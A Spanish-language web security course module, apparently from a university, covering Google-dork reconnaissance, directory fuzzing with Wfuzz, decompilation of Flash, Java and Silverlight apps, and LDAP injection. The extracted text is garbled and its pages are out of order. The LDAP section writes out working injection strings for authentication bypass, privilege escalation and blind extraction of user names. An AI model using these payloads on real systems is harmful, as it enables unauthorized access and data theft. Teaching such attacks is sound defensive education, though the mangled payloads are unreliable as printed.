Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
